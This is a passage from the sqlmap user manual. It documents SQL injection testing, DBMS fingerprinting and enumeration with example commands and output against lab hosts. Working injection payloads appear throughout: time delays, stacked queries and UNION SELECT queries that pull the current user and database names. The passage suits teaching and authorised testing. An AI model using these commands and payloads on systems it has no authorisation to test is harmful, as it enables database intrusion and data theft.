Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
|
|
--stacked-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
|
|
[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'name'
|
|
stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'='wRcBC'
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Test for time based blind SQL injection
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-time-test</tt> and <tt>-</tt><tt>-time-sec</tt>
|
|
|
|
<p>
|
|
It is possible to test if the target URL is affected by a <bf>time based
|
|
blind SQL injection</bf> vulnerability.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
|
|
--time-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:05] [INFO] testing time based blind sql injection on parameter 'id' with AND
|
|
condition syntax
|
|
[hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind sql injection
|
|
with AND condition syntax
|
|
time based blind sql injection payload: 'id=1 AND SLEEP(5) AND 5249=5249'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
|
|
--time-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with AND
|
|
condition syntax
|
|
[hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based blind sql
|
|
injection with AND condition syntax
|
|
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with stacked
|
|
query syntax
|
|
[hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind sql injection
|
|
with stacked query syntax
|
|
time based blind sql injection payload: 'id=1; SELECT pg_sleep(5);-- AND 9644=9644'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
|
|
--time-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with AND
|
|
condition syntax
|
|
[hh:mm:59] [WARNING] the parameter 'name' is not affected by a time based blind sql
|
|
injection with AND condition syntax
|
|
[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with stacked
|
|
query syntax
|
|
[hh:mm:13] [INFO] the parameter 'name' is affected by a time based blind sql injection with
|
|
stacked query syntax
|
|
time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND
|
|
'PmrXn'='PmrXn'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
It is also possible to set the seconds to delay the response by providing
|
|
the <tt>-</tt><tt>-time-sec</tt> option followed by an integer. By default delay
|
|
is set to five seconds.
|
|
|
|
|
|
<sect2>Test for UNION query SQL injection
|
|
|
|
<p>
|
|
Options: <tt>-</tt><tt>-union-test</tt> and <tt>-</tt><tt>-union-tech</tt>
|
|
|
|
<p>
|
|
It is possible to test if the target URL is affected by a <bf>UNION query
|
|
(inband) SQL injection</bf> vulnerability.
|
|
Refer to the <em>Techniques</em> section for details on this SQL injection
|
|
technique.
|
|
|
|
<p>
|
|
Example on an <bf>Oracle XE 10.2.0.1</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
|
|
--union-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: Oracle
|
|
|
|
[hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
valid union: 'http://172.16.213.131/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
|
|
NULL, NULL, NULL FROM DUAL-- AND 6558=6558'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
By default sqlmap uses the <bf><tt>NULL</tt> bruteforcing</bf> technique to
|
|
detect the number of columns within the original <tt>SELECT</tt> statement.
|
|
It is also possible to change it to <bf><tt>ORDER BY</tt> clause
|
|
bruteforcing</bf> with the <tt>-</tt><tt>-union-tech</tt> option.
|
|
|
|
<p>
|
|
Further details on these techniques can be found <htmlurl
|
|
url="http://bernardodamele.blogspot.com/2007/07/insight-on-union-query-sql-injection.html" name="here">.
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_str.php?id=1" \
|
|
--union-test --union-tech orderby -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause
|
|
bruteforcing technique
|
|
[hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
valid union: 'http://172.16.213.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND
|
|
1262=1262'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, the target URL parameter <tt>id</tt> might be also
|
|
exploitable by the inband SQL injection technique.
|
|
In case a case it is strongly recommended to use this technique which saves
|
|
a lot of time.
|
|
|
|
<p>
|
|
It is strongly recommended to run at least once sqlmap with the
|
|
<tt>-</tt><tt>-union-test</tt> option to test if the affected parameter is used
|
|
within a <tt>for</tt> cycle, or similar, and in case use
|
|
<tt>-</tt><tt>-union-use</tt> option to exploit this vulnerability because it
|
|
saves a lot of time and it does not weight down the web server log file
|
|
with hundreds of HTTP requests.
|
|
|
|
|
|
<sect2>Use the UNION query SQL injection
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-union-use</tt>
|
|
|
|
<p>
|
|
Providing the <tt>-</tt><tt>-union-use</tt> parameter, sqlmap will first test if
|
|
the target URL is affected by an <bf>inband SQL injection</bf>
|
|
(<tt>-</tt><tt>-union-test</tt>) vulnerability then, in case it seems to be
|
|
vulnerable, it will confirm that the parameter is affected by a <bf>Full
|
|
UNION query SQL injection</bf> and use this technique to go ahead with the
|
|
exploiting.
|
|
If the confirmation fails, it will check if the parameter is affected by
|
|
a <bf>Partial UNION query SQL injection</bf>, then use it to go ahead if it
|
|
is vulnerable.
|
|
In case the inband SQL injection vulnerability is not exploitable, sqlmap
|
|
will automatically fallback on the blind SQL injection technique to go
|
|
ahead.
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 2 \
|
|
--union-use --banner
|
|
|
|
[...]
|
|
back-end DBMS: Microsoft SQL Server 2000
|
|
|
|
[hh:mm:42] [INFO] fetching banner
|
|
[hh:mm:42] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id'
|
|
[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection
|
|
vulnerability
|
|
[hh:mm:42] [DEBUG] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
|
|
CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
|
|
CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
|
|
[hh:mm:42] [DEBUG] performed 3 queries in 0 seconds
|
|
banner:
|
|
---
|
|
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
|
|
Aug 6 2000 00:57:48
|
|
Copyright (c) 1988-2000 Microsoft Corporation
|
|
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
|
|
---
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, the vulnerable parameter (<tt>id</tt>) is affected by both
|
|
blind SQL injection and exploitable full inband SQL injection
|
|
vulnerabilities.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 5 \
|
|
--union-use --current-user
|
|
|
|
[...]
|
|
[hh:mm:29] [INFO] the target url is affected by an exploitable full inband sql
|
|
injection vulnerability
|
|
[hh:mm:29] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86),
|
|
IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)),CHAR(72,89,75,77,121,103)),
|
|
NULL# AND 8032=8032
|
|
[hh:mm:29] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%28112
|
|
%2C110%2C121%2C77%2C88%2C86%29%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%2810000%29
|
|
%29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND
|
|
%208032=8032 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Tue, 16 Dec 2008 hh:mm:29 GMT
|
|
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch mod_ssl/2.2.9
|
|
OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
|
|
X-Powered-By: PHP/5.2.6-2ubuntu4
|
|
Content-Length: 194
|
|
Connection: close
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
<tr><td></td><td>pnyMXVtestuser@localhostHYKMyg</td><td></td></tr>
|
|
</table>
|
|
</body></html>
|
|
|
|
[hh:mm:29] [DEBUG] performed 3 queries in 0 seconds
|
|
current user: 'testuser@localhost'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, the MySQL <tt>CURRENT_USER()</tt> function (--current-user)
|
|
output is nested, inband, within the HTTP response page, this makes the
|
|
inband SQL injection exploited.
|
|
|
|
<p>
|
|
In case the inband SQL injection is not fully exploitable, sqlmap will
|
|
check if it is partially exploitable: this occurs if the query output
|
|
is not parsed within a <tt>for</tt>, or similar, cycle but only the first
|
|
entry is displayed in the page content.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_partialunion.php?id=1" -v 2 \
|
|
--union-use --dbs
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:56] [INFO] fetching database names
|
|
[hh:mm:56] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
|
|
[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql
|
|
injection vulnerability
|
|
[hh:mm:56] [INFO] confirming partial inband sql injection on parameter 'id'
|
|
[hh:mm:56] [INFO] the target url is affected by an exploitable partial inband sql injection
|
|
vulnerability
|
|
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),
|
|
IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL
|
|
FROM information_schema.SCHEMATA# AND 1062=1062
|
|
[hh:mm:56] [DEBUG] performed 6 queries in 0 seconds
|
|
[hh:mm:56] [INFO] the SQL query provided returns 4 entries
|
|
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
|
|
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
|
|
information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421
|
|
[hh:mm:56] [DEBUG] performed 7 queries in 0 seconds
|
|
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
|
|
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
|
|
information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553
|
|
[hh:mm:56] [DEBUG] performed 8 queries in 0 seconds
|
|
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
|
|
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
|
|
information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805
|
|
[hh:mm:56] [DEBUG] performed 9 queries in 0 seconds
|
|
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
|
|
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
|
|
information_schema.SCHEMATA LIMIT 3, 1# AND 739=739
|
|
[hh:mm:56] [DEBUG] performed 10 queries in 0 seconds
|
|
available databases [4]:
|
|
[*] information_schema
|
|
[*] mysql
|
|
[*] privatedb
|
|
[*] testdb
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, sqlmap identified that the parameter is affected by a
|
|
partial inband SQL injection. Consequently, it counted the number of query
|
|
output entries and retrieved them once per time. It forces the parameter
|
|
(<tt>id</tt>) value <tt>1</tt> to its negative value <tt>-1</tt> so that
|
|
it does not return, presumibly, any output. That leaves our own <tt>UNION ALL
|
|
SELECT</tt> statement to produce one entry at a time and display only it in
|
|
the page content.
|
|
|
|
|
|
<sect1>Fingerprint
|
|
|
|
<sect2>Extensive database management system fingerprint
|
|
|
|
<p>
|
|
Options: <tt>-f</tt> or <tt>-</tt><tt>-fingerprint</tt>
|
|
|
|
<p>
|
|
By default the web application's back-end database management system
|
|
fingerprint is performed requesting a database specific function which
|
|
returns a known static value. By comparing these value with the returned
|
|
value it is possible to identify if the back-end database is effectively
|
|
the one that sqlmap expected. Depending on the DBMS being tested, a
|
|
SQL dialect syntax which is syntatically correct depending upon the
|
|
back-end DBMS is also tested.
|
|
|
|
After identifying an injectable vector, sqlmap fingerprints the back-end
|
|
database management system and go ahead with the injection with its
|
|
specific syntax within the limits of the database architecture.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1
|
|
|
|
[...]
|
|
[hh:mm:17] [INFO] testing MySQL
|
|
[hh:mm:17] [INFO] confirming MySQL
|
|
[hh:mm:17] [INFO] retrieved: 5
|
|
[hh:mm:17] [INFO] the back-end DBMS is MySQL
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, sqlmap automatically fingerprints the web server operating
|
|
system and the web application technology by parsing some HTTP response headers.
|
|
|
|
<p>
|
|
If you want to perform an extensive database management system fingerprint
|
|
based on various techniques like specific SQL dialects and inband error
|
|
messages, you can provide the <tt>-</tt><tt>-fingerprint</tt> option.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:49] [INFO] testing MySQL
|
|
[hh:mm:49] [INFO] confirming MySQL
|
|
[hh:mm:49] [INFO] retrieved: 3
|
|
[hh:mm:49] [INFO] the back-end DBMS is MySQL
|
|
[hh:mm:49] [INFO] retrieved:
|
|
[hh:mm:49] [INFO] retrieved:
|
|
[hh:mm:49] [INFO] retrieved: t
|
|
[hh:mm:49] [INFO] executing MySQL comment injection fingerprint
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
|
|
comment injection fingerprint: MySQL 5.0.67
|
|
html error message fingerprint: MySQL
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on an <bf>Oracle XE 10.2.0.1</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:38] [WARNING] the back-end DMBS is not MySQL
|
|
[hh:mm:38] [INFO] testing Oracle
|
|
[hh:mm:38] [INFO] confirming Oracle
|
|
[hh:mm:38] [INFO] the back-end DBMS is Oracle
|
|
[hh:mm:38] [INFO] retrieved: 10
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: active fingerprint: Oracle 10g
|
|
html error message fingerprint: Oracle
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:14] [WARNING] the back-end DMBS is not Oracle
|
|
[hh:mm:14] [INFO] testing PostgreSQL
|
|
[hh:mm:14] [INFO] confirming PostgreSQL
|
|
[hh:mm:14] [INFO] the back-end DBMS is PostgreSQL
|
|
[hh:mm:14] [INFO] retrieved: 2
|
|
[hh:mm:14] [INFO] retrieved:
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0
|
|
html error message fingerprint: PostgreSQL
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see from the last example, sqlmap first tested for MySQL,
|
|
then for Oracle, then for PostgreSQL since the user did not forced the
|
|
back-end database management system name with option <tt>-</tt><tt>-dbms</tt>.
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
|
|
[hh:mm:41] [INFO] testing Microsoft SQL Server
|
|
[hh:mm:41] [INFO] confirming Microsoft SQL Server
|
|
[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
|
|
html error message fingerprint: Microsoft SQL Server
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
|
|
[hh:mm:41] [INFO] testing Microsoft SQL Server
|
|
[hh:mm:41] [INFO] confirming Microsoft SQL Server
|
|
[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
web server operating system: Windows 2003 or 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
|
|
html error message fingerprint: Microsoft SQL Server
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
If you want an even more accurate result, based also on banner parsing,
|
|
you can also provide the <tt>-b</tt> or <tt>-</tt><tt>-banner</tt> option.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 2 -f -b
|
|
|
|
[...]
|
|
[hh:mm:04] [INFO] testing MySQL
|
|
[hh:mm:04] [INFO] confirming MySQL
|
|
[hh:mm:04] [DEBUG] query: SELECT 0 FROM information_schema.TABLES LIMIT 0, 1
|
|
[hh:mm:04] [INFO] retrieved: 0
|
|
[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:04] [INFO] the back-end DBMS is MySQL
|
|
[hh:mm:04] [DEBUG] query: VERSION()
|
|
[hh:mm:04] [INFO] retrieved: 5.0.67-0ubuntu6
|
|
[hh:mm:05] [DEBUG] performed 111 queries in 1 seconds
|
|
[hh:mm:05] [DEBUG] query: SELECT 0 FROM information_schema.PARAMETERS LIMIT 0, 1
|
|
[hh:mm:05] [INFO] retrieved:
|
|
[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds
|
|
[hh:mm:05] [DEBUG] query: MID(@@table_open_cache, 1, 1)
|
|
[hh:mm:05] [INFO] retrieved:
|
|
[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds
|
|
[hh:mm:05] [DEBUG] query: MID(@@hostname, 1, 1)
|
|
[hh:mm:05] [INFO] retrieved: t
|
|
[hh:mm:06] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:06] [INFO] executing MySQL comment injection fingerprint
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
|
|
comment injection fingerprint: MySQL 5.0.67
|
|
banner parsing fingerprint: MySQL 5.0.67
|
|
html error message fingerprint: MySQL
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, sqlmap was also able to fingerprint the back-end DBMS
|
|
operating system by parsing the DBMS banner value.
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 2 -f -b
|
|
|
|
[...]
|
|
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
|
|
[hh:mm:03] [INFO] testing Microsoft SQL Server
|
|
[hh:mm:03] [INFO] confirming Microsoft SQL Server
|
|
[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
[hh:mm:03] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:03] [DEBUG] query: @@VERSION
|
|
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
|
|
Aug 6 2000 00:57:48
|
|
Copyright (c) 1988-2000 Microsoft Corporation
|
|
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
|
|
|
|
[hh:mm:08] [DEBUG] performed 1308 queries in 4 seconds
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS operating system: Windows 2000 Service Pack 4
|
|
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
|
|
banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0
|
|
version 8.00.194
|
|
html error message fingerprint: Microsoft SQL Server
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 2 -f -b
|
|
|
|
[...]
|
|
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
|
|
[hh:mm:03] [INFO] testing Microsoft SQL Server
|
|
[hh:mm:03] [INFO] confirming Microsoft SQL Server
|
|
[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
[hh:mm:03] [DEBUG] query: @@VERSION
|
|
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
|
|
Oct 14 2005 00:33:37
|
|
Copyright (c) 1988-2005 Microsoft Corporation
|
|
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
|
|
|
|
[hh:mm:15] [DEBUG] performed 1343 queries in 11 seconds
|
|
web server operating system: Windows 2003 or 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS operating system: Windows 2003 Service Pack 1
|
|
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
|
|
banner parsing fingerprint: Microsoft SQL Server 2005 Service Pack 0
|
|
version 9.00.1399
|
|
html error message fingerprint: Microsoft SQL Server
|
|
[...]
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
As you can see, from the Microsoft SQL Server banner, sqlmap was able to
|
|
correctly identify the database management system patch level.
|
|
The Microsoft SQL Server XML versions file is the result of a sqlmap
|
|
parsing library that fetches data from Chip Andrews'
|
|
<htmlurl url="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
|
|
name="SQLSecurity.com site"> and outputs it to the XML versions file.
|
|
|
|
|
|
<sect1>Enumeration
|
|
|
|
<p>
|
|
These options can be used to enumerate the back-end database management
|
|
system information, structure and data contained in the tables. Moreover
|
|
you can run your own SQL statements.
|
|
|
|
|
|
<sect2>Banner
|
|
|
|
<p>
|
|
Option: <tt>-b</tt> or <tt>-</tt><tt>-banner</tt>
|
|
|
|
<p>
|
|
Most of the modern database management systems have a function and/or
|
|
an environment variable which returns details on the database management
|
|
system version. Also, sometimes it returns the operating system version
|
|
where the daemon has been compiled on, the operating system architecture,
|
|
and its service pack. Usually the function is <tt>version()</tt> and the
|
|
environment variable <tt>@@version</tt>.
|
|
|
|
<p>
|
|
Example on a <bf>MySQL 5.0.67</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -b -v 0
|
|
|
|
banner: '5.0.67-0ubuntu6'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>PostgreSQL 8.3.5</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b -v 0
|
|
|
|
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on an <bf>Oracle XE 10.2.0.1</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -b -v 0
|
|
|
|
banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -b -v 0
|
|
|
|
banner:
|
|
---
|
|
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
|
|
Aug 6 2000 00:57:48
|
|
Copyright (c) 1988-2000 Microsoft Corporation
|
|
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
|
|
---
|
|
</verb></tscreen>
|
|
|
|
<p>
|
|
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:
|
|
|
|
<tscreen><verb>
|
|
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 0 -b
|
|
|
|
banner:
|
|
---
|
|
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
|
|
Oct 14 2005 00:33:37
|
|
Copyright (c) 1988-2005 Microsoft Corporation
|
|
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
|
|
---
|
|
</verb></tscreen>
|
|
|
|
|
|
<sect2>Session user
|
|
|
|
<p>
|
|
Option: <tt>-</tt><tt>-current-user</tt>
|
|
|
|
<p>
|
|
